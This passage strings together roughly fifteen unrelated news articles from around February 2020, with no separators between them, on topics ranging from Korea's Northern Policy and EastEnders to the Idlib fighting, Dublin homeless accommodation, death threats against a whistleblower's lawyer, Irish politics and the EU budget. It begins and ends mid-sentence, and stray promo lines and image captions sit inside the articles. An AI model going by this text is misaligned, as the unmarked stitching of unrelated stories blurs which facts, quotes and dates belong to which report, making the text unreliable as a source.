Koreans as they are not very familiar with the countries involved. There is still not much interest among the Korean public about these countries' relevance to Korea in terms of economics, culture and history. The Korea Times conducted an interview with a Russian scholar on Korea studies to better aid the readers' understanding on why the New Northern Policy matters to Korea's future. The below are edited questions and answers from a written interview with Vladimir Tikhonov, professor at the Department of Culture Studies and Oriental Languages, University of Oslo. Q: Why is it important for Korea to engage more with countries situated north of the Korean Peninsula, such as Russia, central Asian countries and other areas included in the New Northern Policy? A: South Korea lives off trade, and there are ample trade opportunities in Russia and other Soviet successor states. South Korean-Russian bilateral trade was $4.2 billion back in 2003, but this year, the figure may reach $30 billion. For now, South Korea is Russia's seventh-largest trading partner. South Korea takes third place (after China and Turkey) among Russia's trading partners in Asia, accounting for 3.6 percent of its total foreign trade, and the figure is rising. At the same time, trade with Russia accounts for 2.1 percent of South Korea's total trade and again, there is a tendency for this figure to grow. The two countries' economies are mutually complementary, and, additionally, they do not represent political risks or burdens to each other. Unlike China or the U.S., Russia neither possesses serious geopolitical influence on the Korean Peninsula nor strives to possess it its geopolitical interest lies elsewhere. And unlike Japan, it does not directly compete against South Korea in export markets. Russia is also not afraid that South Korea will try to establish itself in its vulnerable Siberian and Far Eastern regions (there is such fear when it comes to China or Japan). So, the Russo-South Korean partnership is quite natural. Q: How do you see the feasibility of Moon's vision for economic cooperation among the two Koreas and Russia for a joint railway? A: In this perspective, the project may offer a huge additional boost to the South Korean economy, giving it an opportunity to seriously cut on transportation costs in trade with much of Eurasia. But the problem is that the project is largely blocked by the U.N. (in practice the U.S.) economic sanctions. To be precise, the Hasan-Rajin logistics project a part of the larger railway project is one of the very few economic initiatives excluded from the U.N. Security Council sanctions against North Korea. However, South Korean businesses seem to be reluctant to move in, being afraid of the possible unilateral U.S. sanctions in case of any cooperation with North Korea. Q: Do you have any suggestions for the Moon administration to get meaningful fruit from the New Northern Policy? A: The U.N. sanctions are the major obstacle on the way toward Russian-South-North Korean trilateral cooperation. President Moon should use all the leverage South Korea has vis-a-vis the U.S. in order to obtain sanctions relief and guarantees for South Korean businesses against legal harassment by U.S. agencies in the case of their participation in such cooperation. We need much bolder diplomacy at this stage. I ts official: EastEnders actress June Brown has left the show after 35 years of playing the legendary Dot Cotton. Dot was last featured in an EastEnders episode a month ago, when she left a voicemail for Sonia Fowler saying shed moved to Ireland. Brown told the Distinct Nostalgia podcast this week: "I don't want a retainer for EastEnders, I've left. I've left for good." The 93-year-old star, who joined the soap as the chain-smoking Dot in 1985, said the story had gone up in smoke. BBC "I've sent her off to Ireland and that's where she'll stay. I've left EastEnders. I did make up a limerick. It's a bit dirty," Brown added. "I went back to do a good story. Alas and alack, when I got back it had gone up in smoke. "Well that is no joke. I got a small part, a very small part. And that ended up as a big wet fart. Alas and alack, I will never go back." Dot was a fan favourite on EastEnders, with her tenure on the show including dramatic plotlines around euthanasia, murder and cancer. Lets look back at some of her most iconic moments 1) Dot helps Ethel die Dot was faced with an internal moral dilemma when her friend Ethel, who had terminal cancer, asked her to assist her to die. Ethel asked Dot to do so on her 85th birthday, which forced Dot to grapple with her devout Christian faith and her loyalty to her friend. Despite her reservations, Dot helped Ethel take her own life, and the emotional moment finished with Ethel telling Dot: youre the best friend I ever had. 2) Dot vs the launderette Dot was a faithful employee of the local Launderette in EastEnders for many years. She frequently squabbled with its owner, Mr Papadopolous, and was famously unable to pronounce his surname. Dot said an emotional farewell to the launderette when it was closed for refurbishment in 2016 - and was devastated to not get her job back when it reopened as a dry cleaners. 3) Dot kills her son Dot was capable of the same ruthlessness as many characters far younger than her. In January, it was revealed Dot was responsible for the death of her troubled son, Nick Cotton. Bex Fowler revealed that Nick - who had tried to poison Dot at one point - passed away after consuming a bad batch of heroin by his mother Dot. 4) Dot marries Jim Branning The normally frosty Dot let her guard down and said yes to Jim Brannings advances when he proposed to her on the London Eye in 2001. The pair walked down the aisle on Valentines Day, but after an awkward encounter involving viagra, Dot declared that their marriage would be platonic. 5) Dots one-hander June Brown made history as the first soap opera character to carry an entire episode with a monologue performance. The episode followed Dot recording a 30-minute voicemail for Jim, who was in hospital after suffering a stroke. Brown landed a Bafta TV nomination for her performance. 6) Dot dabbles with drugs After taking a break from 1993 to 1997, June Brown returned as Dot, who was now dabbling in alternate medicine. One hilarious plotline found Dot mistaking cannabis for herbal tea, and getting arrested as a result. 7) Her cancer diagnosis In 2004, Dot was diagnosed with kidney cancer, and chose to deal with it quietly. Telling only her friend Dennis Rickman, Dot initially refused treatment and planned to pass away quietly. She was persuaded to undergo chemotherapy and managed to recover. 8) Meeting Lady Gaga Technically this was June, not Dot, but we couldnt help but include this iconic combination of stars on the Graham Norton couch in 2013. June Brown stole the show as she was sat next to pop superstar Lady Gaga, as well as Jude Law and Greg Davies. According to the environmentalist organisation GOB, the Balearics Environment Commission will be issuing an unfavourable report regarding plans for expansion at Son Sant Joan Airport and the remodelling of facilities. It concerns one of the four projects for remodelling and considers that Aenas environmental impact study does not evaluate or quantify saturation in summer months from an annual increase in flights. The airports authority has therefore not quantified the repercussions, such as those for airport access points and mobility that will come about because of an increase in the number of parking places and airport users. Furthermore, there needed to be an analysis of carrying capacity, the tourism model in Majorca, seasonal population, the use of resources and other impacts that the airport has. There is no identification of the effects on natural resources or mobility. The project, the report suggests, is following a model of unsustainable development with the continuing growth in infrastructure and air traffic due to tourism of the masses. There will be a consequent exhaustion of natural resources and an increase in atmospheric and acoustic contamination. And, researchers from the University of the Balearic Islands have criticised plans for expansion at Son Sant Joan Airport as incoherent and contradictory to declarations of climate emergency. Four members of the Climate Change Interdisciplinary Laboratory (Lincc) held a press conference on Tuesday and set out what the airports authority Aena is planning. By 2025 there will be 33.8 million passengers, four million more than at present. There will be a 14% increase in flights per annum - up to 247,000. However, they suggested that under a 2001 strategic plan for the airport, the number of flights could go up to as many as 431,000, with passenger numbers up to 50 million. This would come about through a shifting of the runway. Pau de Vilchez stated that in order to meet targets for combating climate change, emissions need to be reduced by 7.6% each year. The airport expansion will mean an increase in emissions and in energy consumption - from 65 to 71 megawatts. This project will contribute to an aggravation of the climate crisis. It is totally contrary to the science for tackling the crisis and completely contradictory to the commitments of institutions in the Balearics and in Spain. The Lincc researchers called for the project to be withdrawn and for the Spanish government to not grant permissions for the increasing the number of flights and passengers. Policies should be consistent with the climate emergency, and Aena cannot be allowed to act in an individual manner without taking account of the global picture and sustainability. They expressed the need for a study of the real carrying capacity of the Balearics that takes account of natural resources. The airport expansion should be subject to this capacity. We cannot act against climate change by doing the same as we have until now. It would be suicide. The things which should be done are another matter, and they include a reduction in the number of tourists. As people cast ballots to elect a new parliament, two more Iranians die from coronavirus, bringing death toll to four. Tehran, Iran Authorities in Iran have confirmed the death of two more people as a result of the coronavirus, bringing the total number of deaths in Iran to four. The total number of deaths in Iran so far is four, Alireza Vahabzadeh, an adviser to Irans health minister, told Al Jazeera on Friday as Iranians voted across the country in its 11th round of parliamentary elections. The health official did not share further information about where the fatalities on Thursday took place. Two elderly people who died in the holy city of Qom on Wednesday were the first deaths in the Middle East and the seventh and eighth deaths caused by the virus outside mainland China. Vahabzadeh said there were 13 confirmed cases of the infection: Four in Tehran, seven in Qom, south of the capital, and two in Rasht, which lies in the northern part of the country. The health official added there were several suspected cases in other cities but they were undergoing testing. The coronavirus, known as COVID-19, was first detected in the central Chinese city of Wuhan in late December. Since then, it has infected more than 75,000 people and killed more than 2,000 the vast majority of victims in China. The World Health Organization (WHO) declared the outbreak a global health emergency. Measures in Qom On Thursday, a health official cited by the semi-official IRNA news agency said the victims had not had any contact with foreigners or with Chinese nationals. Vahabzadeh told Al Jazeera that Irans health ministry recommended people limit their movement in and out of religious sites in Qom, 140km (87 miles) south of the capital. Meanwhile, state media reported that authorities in Qom shut down schools and universities in the city on Thursday. Ali Tabatabaei, a journalist in Qom, praised the governments strong measures. Local authorities have been taking the infection seriously and up till now three hospitals have been allocated to take in patients affected by the virus. Leave for all physicians who work for the government has been cancelled and all hospitals are on red alert, he said. Emergency teams had arrived from Tehran, he said, adding that Irans Deputy Health Minister Qasem Jan-Babaei was also in the city. Ali Gholizadeh, an Iranian public health policy researcher at the University of Science and Technology of China, said on Wednesday that Irans health ministry was prepared to fight the virus, but added victims relatives should be quarantined until we are sure they are not infected. People in Iran should not panic, he said, noting the mortality rate for the virus was low. Prime Minister of Armenia Nikol Pashinyan today sent a telegram of condolence to Chancellor Angela Merkel on the occasion of the tragedy that took place in Hanau. The telegram particularly reads as follows: Dear Mrs. Merkel, I was deeply saddened by the news about the tragedy that took place in Hanau. On behalf of the Armenian people and myself, I express condolence to and solidarity with you and the friendly people of Germany. I wish the victims relatives and close ones, patience and power of spirit, and I wish the injured speedy recovery. As reported earlier, on February 20, an anonymous person attacked two hookah bars and a bookmaker office in Hanau. Based on the latest information, 9 are dead, and another 4 are wounded. President of Germany Frank-Walter Steinmeier viewed the incident as a terrorist act of violence. The criminal left a video in which he stated that there are underground military facilities in the US where children are tortured and killed and called on the Americans to launch a fight against this. After 68 young women students were strip-searched at a college in Bhuj, so authorities could determine whether they were menstruating or not, another atrocious incident has taken place in Gujarat. According to Times of India, nearly 100 women trainee clerks of the Surat Municipal Corporation (SMC) were made to strip for a so-called mandatory gynaecological finger test. Wikipedia Reports also add that the process came as a shock to the women when they arrived at the Surat Municipal Institute of Medical Education and Research for the test. They were divided into groups of ten and made to stand in a room with the door not even shut properly. The fitness test is allegeldy a compulsory process carried out after the completion of the employee's three-year probation period. However, the process involves getting the unethical and controversial finger test which creates obvious problems. Several traumatised women approached the SMC Employees Union after being subjected to such a violation of their bodies. The SMCEU has reportedly lodged a complaint with the municipal commissioners and AA Shaikh, General Secretary of the Employees Union has demanded that such tests which violate and harass a person need to get banned immediately. Pinterest However, Ashwin Vachhani, SMIMERs gynaecology departments head made a statement saying it was mandatory for them to carry out the tests on women in order to determine their physical well-being as per the guidelines. She added that she is not aware if a similar protocol is carried out for men as well but for women, the only way to figure out specific illnesses is through these physical tests. Reports also say that unmarried women were asked personal questions like if they've ever been pregnant or not. Some even claimed that the medical authorities were rude for no reason. TOI It is shocking to know that even in the year 2020, such practices are carried and women are subjected to harassment in the name of medicine. Nineteen hotels in Dublin each received payments in excess of 1m last year to provide emergency accommodation for the homeless. One hotel received payments of between 4m and 5m, according to new figures provided by the Dublin Regional Homeless Executive (DRHE) which confirmed that the spend on providing temporary and emergency accommodation for the homeless soared by 19% to 170m in 2019. In the four years of 2016, 2017, 2018 and last year hoteliers have received cumulative payments totalling 203.5m as the number of homeless requiring emergency accommodation soared. Last year, hotels received payments from the DRHE totalling 56.56m to provide emergency accommodation and this represented an increase of 10.7% on the 51.1m paid out in 2018. A breakdown of the 170m spend on providing emergency accommodation for the homeless shows that 80.16m was paid to hotels and B&Bs. The figures show that the amount paid to non-governmental organisations for supported temporary accommodation, including family hubs, totalled 70.26m an increase of 16% on the 60.62m paid out under that heading in 2018. The remaining 19.9m of the 170.33m total was paid to other. The 19 hotels to receive in excess of 1m last year compared to 15 hotels receiving payments in excess of 1m in 2018. In response to a Freedom of Information request, the DRHE confirmed that one other hotel operator last year received payments of between 3m and 4m to accommodate the homeless. A further four hotels received payments ranging between 2m and 3m with an additional 13 hotels receiving payments between 1m and 2m. Another 21 hotels received payments between 500,000 and 1m. In total, 70 hotels provided emergency accommodation for the homeless last year. The sharp increase in payments to emergency accommodation providers came against the background of further increases in the numbers of homeless people in Dublin in 2019. File image The numbers of homeless accommodated in hotels and B&Bs increased by 15.6% from 2,282 - made up of 1,488 children and 934 adults - in January 2019 to 2,638 at the end of December 2019 - made up of 1,633 children and 1,005 adults. Member of Dublin City Council, Councillor Mannix Flynn described the spend as an absolute disgrace. He said that the business of accommodating the homeless is a big cash cow for the hotels concerned. Cllr Flynn said that the homeless being accommodated have had their status reduced to "non-citizens" and "ghost people". The DRHE declined to name the hotels and B&Bs that have received payment. A statement from the FOI unit said: I am satisfied that the financial and commercial interest of the emergency accommodation providers would be negatively impacted by the release of this information." The FOI unit also said it was satisfied that the release of this information would have a significant adverse impact on the management of the DRHE. The unit also concluded that the release of such records would breach the confidentiality of providers as being a requirement for their continued supply of emergency accommodation for persons experiencing homelessness in Dublin. The danger of all-out war in the Middle East and beyond continued to escalate out of control yesterday as bloody fighting erupted between Turkish, Syrian and Russian troops in northern Syria. Turkish artillery units in northern Syrias Idlib province backed a coordinated offensive by Islamist opposition militias targeting Syrian government troops near Qminas and Nayrab. They initially broke through the government lines, causing heavy losses. During the fighting, the Turkish Defense Ministry reported on Twitter that 50 Syrian regime elements were destroyed, along with five tanks, two armored personnel carriers, two pickup trucks and a howitzer. Turkish backed rebel fighters fire a howitzer toward Syrian governments forces positions near the village of Neirab in Idlib province, Syria, February 20, 2020 [Credit: AP Photo/Ghaith Alsayed] Syrian government troops called in Russian air strikes in response, and Russian fighter-bombers together with Syrian army counteroffensives repulsed the attacking force. The Russian Reconciliation Center for Syria claimed this counterattack destroyed one tank, six infantry fighting vehicles and five pickup trucks containing large-calibre weapons. The Turkish Defense Ministry said two Turkish soldiers had been killed and five were wounded by the air strikes. A war over Idlib and other regions of Syria between Turkey, Syria and Russia, the country with the worlds second-largest nuclear arsenal, threatens to escalate into a global conflict between nuclear armed states. Turkey is a member of the NATO alliance, which includes the United States and the major European powers, and it is escalating the fighting in Syria because it is receiving assurances of support against Russia from Washington and the European capitals. Led by the Turkish government and Washington, all the major powers involved in the fighting are proceeding with staggering recklessness, making bellicose statements warning that they are prepared to take military action. On Wednesday, Turkish President Recep Tayyip Erdogan issued perhaps the starkest warning he has made since fighting broke out on February 3 at Turkish military observation posts in the region. The Turkish president had previously given the Syrian government an ultimatum to abandon its attacks on opposition militias by the end of February or face military action from Turkey, which fields NATOs second-largest army. On Wednesday, Erdogan said a Turkish invasion of Syria was imminent and inevitable, and that the invasion would end Syrian military operations in Idlib. He said, We are entering the last days for the regime to stop its hostility in Idlib. We are making our final warnings... Turkey has made every preparation to carry out its own operational plans. I say that we can come at any point. In other words, the Idlib offensive is only a matter of time. Officials in Syrian opposition militias also insisted that Turkey is preparing for large-scale war. One told Reuters, You can't imagine the scale of Turkish reinforcements, half of Reyhanli is now full of Turkish commandos ready to enter Syria... They are readying their forces for zero hour. Operations are expected to start any time. Erdogans threats on Wednesday came a day after US President Donald Trump issued a statement endorsing Turkish military action in Syria, thanking Erdogan and emphasizing that Washington and Ankara are working together. Trump praised Erdogan, saying, Hes fighting on Idlib... You have a lot of warring going on right now, a lot of warring going on, but I am dealing with President Erdogan. Pentagon spokesman Jonathan Hoffman said the US military believes the threat of war between Turkey and Russia is real. We are seeing the Russians and the Turks have come very close to having more extensive conflict in the area. We are hopeful they will find a solution to avoid that, Hoffman said. Remarkably, however, he refused to say whether Washington is in contact with the different parties to the conflict over Idlib province. Kremlin spokesman Dmitri Peskov also refused to say how Moscow would react to a Turkish invasion of Syria. Let us not expect the worst scenario to become a reality, he said, adding that if it is an operation against Syrias legitimate authorities and armed forces, it will definitely be the worst scenario. Moscow and Ankara negotiated a deal over Syria in Sochi in 2018, he said, but we stopped being satisfied after militants and terrorist groups launched offensive operations against the Syrian armed forces and Russian military facilities from Idlib's territory. This explosive situation is the product of nearly a decade of relentless proxy wars waged since 2011 by Washington and the European imperialist powers in Syria. Initially mobilizing Al Qaeda-linked Islamist militias funded by the Persian Gulf oil sheikdoms, and then ethnic Kurdish militias, NATO relentlessly stoked up a civil war in Syria that has cost hundreds of thousands of lives and forced over 10 million to flee their homes. The war escalated into a global proxy war, as Russia, Iran and China intervened to support the Syrian regime against NATO. Last year, Trump withdrew US protection from Kurdish militias in northern Syria, green-lighting a cross-border raid by the Turkish government, which fears the establishment of an independent Kurdish state in northern Syria, next to the majority-Kurdish provinces of southeastern Turkey. This set the stage for a violent clash between Turkish and Syrian forces, as President Bashar al-Assads regime seeks to reassert control over the whole of Syrian territory. With 3.5 million Syrians living as refugees in Turkey, the Turkish government has closed its borders with Syria, trapping up to one million Syrian refugees living in camps in horrific conditions inside Idlib province. The alarm must be sounded. Despite Peskovs advice to the worlds population to hope for the best, humanity is only a few steps away from a catastrophic war between the major nuclear-armed states. It is critical to politically mobilize the working class in an international, antiwar movement. Should Russia counterattack against Turkey and large-scale fighting between Turkish, Syrian and Russian units in Syria ensue, Turkey could invoke Article 5 of the NATO Alliance treaty to try to legally compel America and the European powers to declare war on Russia. This provision for collective defense requires all NATO member states to go to war if any NATO member state is the target of military aggression by an external power. A deafening silence prevails from heads of state in the NATO alliance over whether they will honor a request from Ankara to go to war with Russia. Russias TASS news agency cited an anonymous NATO diplomat of unspecified rank as saying, NATO countries will not support the invocation of Article 5 over the death of Turkish troops in Idlib in early February. According to the Middle East Monitor, this is because Turkish military losses are taking place "during a unilateral military operation on foreign soil, which goes beyond Article 5 of NATOs founding treaty. That is, in this case, Turkeyand behind it Washington and the major European imperialist powersis not the target but the perpetrator of military aggression. As Erdogan steps up military action against Syrian and Russian troops, however, it is plainly evident that Ankara is counting on active NATO assistance against Russia. According to the Independents Turkish edition, Ankara has informed NATO of its plans to invade Syria and has requested that NATO enforce a no-fly zone in targeted areas ahead of the offensive. Since Russian warplanes are offering close air support to Syrian troops across the region, this means asking NATO to shoot down Russian planes to ensure that they do not threaten Turkish troops. According to a Bloomberg News report, Turkey has asked Washington for Patriot missile batteries to shoot down Russian warplanes. The author also recommends: Washington backs Turkey as border clashes mount with Syria and Russia (19 February 2020) Dozens killed in growing border clashes between Turkey and Syria (4 February 2020) Syrian army, Iran threaten counterattack against Turkish invasion of Syria (14 October 2019) The International Socialist Organization and the imperialist onslaught against Syria (11 May 2013) NATO chief Jens Stoltenberg on Friday welcomed a historic US-Taliban agreement, saying it had opened a possible route to sustainable peace in Afghanistan. Washington and the Taliban said they would sign the accord on February 29 -- provided a week-long partial truce holds. The deal would mark a major turning point in the conflict, setting the conditions for a deal that could ultimately pull US troops out after more than 18 years. "I welcome today's announcement that an understanding has been reached on a significant reduction in violence across Afghanistan," Stoltenberg said in a statement. "This is a critical test of the Taliban's willingness and ability to reduce violence, and contribute to peace in good faith. "This could pave the way for negotiations among Afghans, sustainable peace, and ensuring the country is never again a safe haven for terrorists," he added. NATO has a 16,000-strong mission in Afghanistan to train, support and advise local forces. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) President Donald Trump was standing at a lectern adorned with the executive office seal, addressing an arena packed with thousands of his most strident supporters, when he paused his standard rally stump speech and reached into his suit coat. As he harangued the "hyper partisan impeachment witch hunt" and the whistleblower who helped launch it, Trump unfolded a print out of a just-published Fox News story and waved it at the crowd in northern Louisiana last year. "Look at this character, they just handed me this story," the president said of the article, which detailed the old tweets of Mark Zaid, one of the attorneys representing the intelligence official who sounded the alarm about Trump's Ukraine pressure campaign. The 2017 posts were critical of the president, mentioning the need for "#rebellion," and before reading them aloud Trump called Zaid, "a sleaze ball." Trump ended his digression by saying, "These people are bad people, and it's so bad what they do to our country. They rip the guts out of our country." The next day, Nov. 7, 2019, Zaid received an ominous email. "All traitors must die miserable deaths," the message read. "Those that represent traitors shall meet the same fate. We will hunt you down and bleed you out like the pigs you are." The email came from Brittan J. Atkinson, said Michigan federal prosecutors, who indicted the man for making death threats against Zaid. The newly unsealed court filing was first reported by Politico and noted by Seamus Hughes, the deputy director of the Program on Extremism at George Washington University. Atkinson sent the menacing message from Gladwin County, in northern Michigan, the indictment said, and he's charged with violating federal interstate communication laws, which prohibit "any threat to injure the person of another." The felony offense is punishable by up to five years in prison. The filing says Atkinson signed off by telling Zaid, "We have nothing but time, and you are running out of it." "Keep looking over your shoulder," Atkinson allegedly wrote. "We know who you are, where you live and who you associate with. We are all strangers in a crowd to you." It's unclear whether Trump's words inspired Atkinson to send that email, but experts say the threat highlights the dangers of the barbed rhetoric and often personal insults deployed by the president and his supporters, who have attacked the whistleblower repeatedly, posting his purported identity online and reading his name aloud in the Senate. "I hope this indictment sends a message to others that such behavior will not be tolerated by a civil society that is governed by law," Zaid said in a statement. "My job was to ensure the rule of law was followed in how whistleblowers are treated. That role should not be negatively weaponized by partisans," he added. "I will continue to zealously represent my clients, to include and especially whistleblowers, and to ensure the rule of law is enforced and protected." Zaid wasn't the only one to get threats. Bradley Moss, a partner at Zaid's firm, tweeted to Trump the morning after his Louisiana rally. "Thank you so much for the specific commentary about my firm last night," Moss wrote, tagging Trump's Twitter handle. "I woke up to a ton of hate mail and death threats." As news of the indictment spread, some in the legal community applauded the prosecutors in Michigan's Eastern District and called for increased protections for whitstleblowers and their lawyers. "Whistleblowers are not traitors," said David Colapinto, the general counsel at the nonprofit National Whistleblower Center. "It is the job of the president to protect whistleblowers, not incite violence against them." Walter M. Shaub Jr., the former director of the independent Office of Government Ethics who clashed with the Trump administration over ethics violations, said the threats could portend further violence. "Trump is going to get someone hurt or worse with this personal attacks on people," Shaub said on Twitter. An attorney for Atkinson could not be reached for comment. The Detroit News reported that Atkinson appeared in court on Thursday and entered a plea of not guilty. In its 18 February court filing in southern Bengaluru city, which is not public, Flipkart argues the CCI ordered its probe without initial evidence that the companys practices were harming competition. New Delhi: Flipkart has filed a legal challenge against an antitrust investigation ordered against the company in India, a court filing seen by Reuters showed, following a similar petition by its rival Amazon.com Inc. The Competition Commission of India (CCI) in January ordered a probe into alleged violations of competition law and certain discounting practices by the two e-commerce giants, but a state court put the investigation on hold last week following a challenge by Amazon. Flipkarts legal filing was aimed at signalling the company is aggrieved by the CCIs probe order, a person familiar with the matter said. The filing comes days ahead of US President Donald Trumps visit to India and amid US concerns about Indias tightening of foreign investment rules for the e-commerce sector. In its 18 February court filing in southern Bengaluru city, which is not public, Flipkart argues the CCI ordered its probe without initial evidence that the companys practices were harming competition. Flipkart said the CCI order was perverse (and) passed without any application of mind. Such an order exposes responsible corporate entities ... to the rigors of an intrusive investigation prejudicially affecting not only its credibility and reputation but also its commercial prospects, said Flipkart, urging the court to quash the probe. A spokesman for Flipkart did not comment on the contents of the filing, saying it was a procedural matter. The case is likely to be heard next week. The CCI did not respond to a request for comment. Amazon and Flipkart have faced criticism from Indian retailers which accuses them of violating local laws by racking up billions of dollars of losses to fund deep discounts and discriminating against small sellers. The companies deny the allegations. The antitrust probe was ordered after a New Delhi-based trader group complained that the e-commerce giants were promoting select sellers and in turn hurting business for other smaller players. Flipkart in its filing said the CCI had failed in its duty to close the frivolous complaint and an investigation would harm the companys reputation, lead to significant managerial time loss and legal costs. Washington Former New York Mayor Mike Bloomberg has plunged over $400 million of his personal fortune into his campaign for the Democratic presidential nomination, an astronomical sum that has led many of his rivals to charge that he is trying to buy the crown. The figures, which his campaign released ahead of Thursday's campaign finance reporting deadline, lay bare the massive operation the billionaire has built since his late entrance into the race at the end of November. Other leading contenders have yet to detail their finances, which weren't due until midnight. But the sheer size and scope of Bloomberg's spending left little doubt that he is vastly outspending even his best financed rivals like Vermont Sen. Bernie Sanders, Massachusetts Sen. Elizabeth Warren and former South Bend, Indiana Mayor Pete Buttigieg. It's enabled him to build a sprawling apparatus, hire staff, court influential political figures and communicate with voters both online and on TV. That gives him an edge in the states that have yet to vote where the other contenders have only minimal operations. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. "Our campaign has built a nationwide organization that is engaging voters daily about Mike's record of taking on tough fights and winning," campaign manager Kevin Sheekey said in a statement. "With over 2,400 staff across 43 states today, Mike is the only candidate with the record and resources to build the national infrastructure Democrats need to beat Donald Trump." Bloomberg's campaign reported spending $220 million in the month of January alone. Forty-five million of that went toward digital advertising; another $126 million was spent on TV. Payroll in January for his legions of staffers, who are paid above market-rate salaries, was $7.7 million, while corporate housing for many staffers cost an additional $1.2 million. Ireland's Indian-origin Prime Minister Leo Varadkar resigned from his post on Friday after a crushing defeat in a parliamentary vote, which failed to garner him enough supporters for a re-election. Varadkar, whose father was born in Mumbai, visited Irish President Michael D Higgins in Dublin to tender his resignation as Taoiseach as the Prime Minister is known in Ireland. The 41-year-old will stay on as caretaker PM until a new administration is in place following a General Election earlier this month which failed to throw up a clear majority for any party. Varadkar's liberal-conservative Fine Gael party took a battering in the face of an unprecedented surge in the fortunes of the republican Sinn Fein. The lower house of the Parliament in Dublin, or the Dail Eireann, reconvened on Thursday following the inconclusive election on February 8 and was suspended again for two weeks until March as parties continue efforts to form a new government. While his party had re-nominated him, Varadkar got only 36 votes in the 160-seat chamber on Thursday making his resignation inevitable. In comparison, Mary Lou McDonald, the President of Sinn Fein, got 45 votes, and Michel Martin, the leader of Fianna Fil, received 41. McDonald has said she will continue negotiations to form a Left-wing coalition government, although her efforts are likely to fall short of the 80 MPs needed to form a majority because both Fine Gael and Fianna Fil have refused to align with the party associated with the Irish Republican Army (IRA) of the past. Meanwhile, Varadkar has said his caretaker government would not make new policy decisions or appointments unless absolutely necessary. "The responsibility is now on all of us to provide good government and, indeed good Opposition, because that's what the people have every right to expect, said Varadkar. "The government will continue to carry out its duties until a new government has been appointed. I will likewise continue as Taoiseach until the election of that new government," he said. A former general practitioner, Varadkar became the country's youngest and first openly gay Prime Minister in 2017. He has kept his Indian connect alive over the years, completing an internship at the King Edward Memorial Hospital in Mumbai. He is expected to handle the Brexit brief and oversee negotiations around the UK's future relationship with the European Union (EU) in any new Irish coalition Cabinet if his party Fine Gael joins in. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Under the Haryana governments new liquor licensing policy, the excise department will issue licences to multiple vendors, with regards to Imported Foreign Liquor (IFL), to prevent monopoly in wholesale. In a complete turnaround from the policy of 2018, which had laid down that only the highest bidder would get the licence, the department will now issue licences to up to 15 vendors, at a fixed fee of 1 crore. The Haryana Cabinet on Thursday approved the new excise policy, in which they have given relief to wholesalers and hoteliers who will have a choice to buy from any licensed wholesaler, for 2020-2021. HC Dahiya, deputy excise and taxation commissioner (west), said that applications for the licence (L-1BF) should be made online and it will be issued through e-tendering. As many as 15 people can apply for the same. The bar and restaurants will be benefitted, as due to the competition, they will get discounts from the wholesalers and they can pick their merchandise from any of them, he said. Aruna Singh, deputy excise and taxation commissioner (east), said that the move will end the monopoly and the imported liquor will be cheaper from April 1. The excise policy of 2018 had given licence to the highest bidder to supply IFL in the state. This led to a monopoly. The move was opposed by retailers, restaurateurs and bar owners on the grounds that with just one wholesaler in the whole state, a monopolistic economy had been created, resulting in a hike of IFL prices and non-availability of certain brands, she said. In 2018, the excise department had issued only one licence for IFL. In 2019, the department had floated a tender for four licences but received only two applications. The International Spirits and Wines Association of India (ISWAI), a representative body promoted by multinational alcoholic beverage companies, had filed a petition in Supreme Court in 2019 alleging that both the licences were issued to the same party. We had gone to the Supreme Court against the formation of a private monopoly for the distribution of imported products in Haryana. The SC agreed with our position and asked the government to correct the situation. The government gracefully agreed to implement the courts verdict immediately. However, no other party (besides the existing one came forward) and hence, the existing monopoly continued. This year, the Haryana government decided to encourage free-market forces and make the change to the excise policy for 2020-21, providing a satisfactory closure to this issue, said Amrit Kiran Singh, executive chairman, ISWAI. Members of National Restaurants Association of India (NRAI) said that Haryanas excise policy has successfully achieved and strengthened the long-term objectives of breaking the cartels, broad basing trade by facilitating the entry of newer players of even modest means, establishing a transparent system of allotment of retail outlets, complete check on manufacturing and sale of spurious liquor, thwarting all attempts of evasion of excise levies and plugging leaks. Breaking of the monopolistic L-1BF wholesale licence and making it open will gain wider participation from new investors in the state. Use of e-invoice and generating passes online will curb illicit supply, said Rahul Singh, trustee, NRAI. NRAI members in January had met Dushyant Chautala, the deputy chief minister, who also holds the portfolios of excise and taxation, apprising him of the concern. Also, to safeguard the interest of consumers and provide a level playing field, the maximum sale prices will be fixed by the department and displayed on its website. Restaurants, hotels and clubs buying from the licensed vendors will have to obtain a new L-2BF licence and pay fees for procuring supplies. Excise adhesive labels shall also be required to be affixed on each bottle to ensure authenticity and tracking of the bottle. L-1BF licensee shall keep sufficient stock of all such brands as are registered and demanded by the buyers, to ensure assortment for the consumer at large. SHARE THIS ARTICLE ON After replacing X Bigg Boss contestant Gautam Gulati from Salman Khan's Radhe, Sidharth Shukla also won't be seen in the film, as he already has multiple projects after winning the grand Bigg Boss 13 trophy. Bigg Boss 13: Sidharth Shukla emerged as colors most controversial reality show, Bigg Boss 13. Since he won the show it was said that he is doing Salman Khans upcoming film Radhe: Your Most Wanted Bhai. But by recent reports, it is clear that he wont be the part of the film, as because he is bagged up in many movies and it is impossible for him to cover all the projects. Well, this is not the first time that rumors about the Dil Se Dil Tak actor being a part of Salmans Radhe are doing the rounds. There had been many controversies regarding Shukla from the past few years. Shukla being the most violent and aggressive housemate in Bigg Boss, always got full support from his fan no matter his bad behavior. His fan didnt leave him, in fact, they supported him throughout his journey by creating new hashtags for the actor. So much so that, he was even declared the most tweeted celeb on Twitter, according to Twitter India. After winning the grand trophy of Bigg Boss Shukla was bombarded with multiple projects at high demands, and Salman Khans Radhe was also lying in his bucket after replaying Gautam Gulati who was first placed in a role in the high budget film. So due to too many projects in his casket and it is inhumanly, impossible for him to star in every project. By this he wont be a part of Radhe: Most wanted Bhai. Also Read: Shilpa Shetty, Raj Kundra welcome baby girl! Meanwhile, the superstar Salman Khan has two new films that will release on Eid, one being this year, Radhe: Your Most Wanted Bhai and the other is Kabhi Eid Kabhi Diwali. We wonder who will Salman rope in for Sidharths role in his movie Radhe. Also Read: Ananya Panday excited on joining Vijay Deverakonda film, director Puri Jagannadh over the moon https://youtu.be/NSYrYBWc_e0 https://www.instagram.com/p/B8mly1qJtbw/ https://www.instagram.com/p/B8RAQkDpO5L/ For all the latest Bigg Boss News, download NewsX App EU leaders were facing budget chaos today at a bruising first summit since Brexit as four wealthy nations refused to fill the gap left by Britain's departure. The 27 leaders reached a stalemate after arguing into the early hours in Brussels, with talks on the trillion-euro budget resuming for a second day today and this afternoon there was still deadlock. The UK's departure has left the bloc with a 75billion (63billion) hole in its finances over seven years and 